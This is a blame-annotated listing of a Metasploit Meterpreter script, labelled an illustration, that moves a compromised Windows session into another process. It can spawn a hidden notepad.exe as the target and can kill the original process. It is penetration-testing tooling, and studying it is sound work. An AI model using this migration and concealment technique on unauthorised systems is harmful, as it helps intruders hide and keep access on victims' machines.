2014-09-16 21:41:14 +00:00
|
|
|
##
|
|
|
|
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
|
|
|
# If you'd like to imporve this script, please try to port it as a post
|
|
|
|
# module instead. Thank you.
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
|
2006-09-19 03:15:25 +00:00
|
|
|
#
|
2010-05-03 17:13:09 +00:00
|
|
|
# Simple example script that migrates to a specific process by name.
|
2006-09-19 03:15:25 +00:00
|
|
|
# This is meant as an illustration.
|
|
|
|
#
|
|
|
|
|
2011-10-07 01:32:44 +00:00
|
|
|
|
2009-12-15 05:10:33 +00:00
|
|
|
spawn = false
|
2011-10-07 01:27:13 +00:00
|
|
|
kill = false
|
|
|
|
target_pid = nil
|
2011-12-22 07:46:35 +00:00
|
|
|
target_name = nil
|
2009-12-15 05:10:33 +00:00
|
|
|
|
2009-11-04 16:35:51 +00:00
|
|
|
opts = Rex::Parser::Arguments.new(
|
2013-09-30 18:47:53 +00:00
|
|
|
"-h" => [ false, "Help menu." ],
|
|
|
|
"-f" => [ false, "Launch a process and migrate into the new process"],
|
|
|
|
"-p" => [ true , "PID to migrate to."],
|
|
|
|
"-k" => [ false, "Kill original process."],
|
|
|
|
"-n" => [ true, "Migrate into the first process with this executable name (explorer.exe)" ]
|
2009-11-04 16:35:51 +00:00
|
|
|
)
|
2011-12-22 07:46:35 +00:00
|
|
|
|
2009-11-04 16:35:51 +00:00
|
|
|
opts.parse(args) { |opt, idx, val|
|
2013-09-30 18:47:53 +00:00
|
|
|
case opt
|
|
|
|
when "-f"
|
|
|
|
spawn = true
|
|
|
|
when "-k"
|
|
|
|
kill = true
|
|
|
|
when "-p"
|
|
|
|
target_pid = val.to_i
|
|
|
|
when "-n"
|
|
|
|
target_name = val.to_s
|
|
|
|
when "-h"
|
|
|
|
print_line(opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
else
|
|
|
|
print_line(opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
2009-11-04 16:35:51 +00:00
|
|
|
}
|
|
|
|
|
2011-10-07 01:27:13 +00:00
|
|
|
# Creates a temp notepad.exe to migrate to depending the architecture.
|
|
|
|
def create_temp_proc()
|
2013-10-17 13:30:45 +00:00
|
|
|
# Use the system path for executable to run
|
|
|
|
cmd = "notepad.exe"
|
2013-09-30 18:47:53 +00:00
|
|
|
# run hidden
|
|
|
|
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
|
|
|
return proc.pid
|
2011-10-07 01:27:13 +00:00
|
|
|
end
|
2011-12-22 07:46:35 +00:00
|
|
|
|
2011-10-07 01:32:44 +00:00
|
|
|
# In case no option is provided show help
|
|
|
|
if args.length == 0
|
2013-09-30 18:47:53 +00:00
|
|
|
print_line(opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
2011-10-07 01:32:44 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
### Main ###
|
2006-09-19 03:15:25 +00:00
|
|
|
|
2010-09-09 16:09:27 +00:00
|
|
|
if client.platform =~ /win32|win64/
|
2013-09-30 18:47:53 +00:00
|
|
|
server = client.sys.process.open
|
|
|
|
original_pid = server.pid
|
|
|
|
print_status("Current server process: #{server.name} (#{server.pid})")
|
2006-09-19 03:15:25 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
if spawn
|
|
|
|
print_status("Spawning notepad.exe process to migrate to")
|
|
|
|
target_pid = create_temp_proc
|
|
|
|
end
|
2010-09-09 16:09:27 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
if target_name and not target_pid
|
|
|
|
target_pid = client.sys.process[target_name]
|
|
|
|
if not target_pid
|
|
|
|
print_status("Could not identify the process ID for #{target_name}")
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
end
|
2011-12-22 07:46:35 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
begin
|
|
|
|
print_good("Migrating to #{target_pid}")
|
|
|
|
client.core.migrate(target_pid)
|
|
|
|
print_good("Successfully migrated to process #{}")
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Could not migrate in to process.")
|
|
|
|
print_error(e)
|
|
|
|
end
|
2010-09-09 16:09:27 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
if kill
|
|
|
|
print_status("Killing original process with PID #{original_pid}")
|
|
|
|
client.sys.process.kill(original_pid)
|
|
|
|
print_good("Successfully killed process with PID #{original_pid}")
|
|
|
|
end
|
2006-09-19 03:15:25 +00:00
|
|
|
end
|